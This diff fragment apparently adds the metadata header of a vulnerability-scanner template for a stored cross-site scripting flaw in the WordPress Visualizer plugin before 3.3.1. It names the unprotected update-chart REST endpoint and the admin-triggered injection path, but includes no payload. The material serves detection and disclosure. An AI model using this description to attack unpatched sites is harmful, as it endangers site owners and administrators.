+  name: Visualizer < 3.3.1 - Stored Cross-Site Scripting (XSS)
+  author: ritikchaddha
+  severity: medium
+  description: |
+    By abusing a lack of access controls on the /wp-json/visualizer/v1/update-chart WP-JSON API endpoint, an attacker can arbitrarily modify meta data of an existing chart, and inject a XSS payload to be stored and later executed when an admin goes to edit the chart.
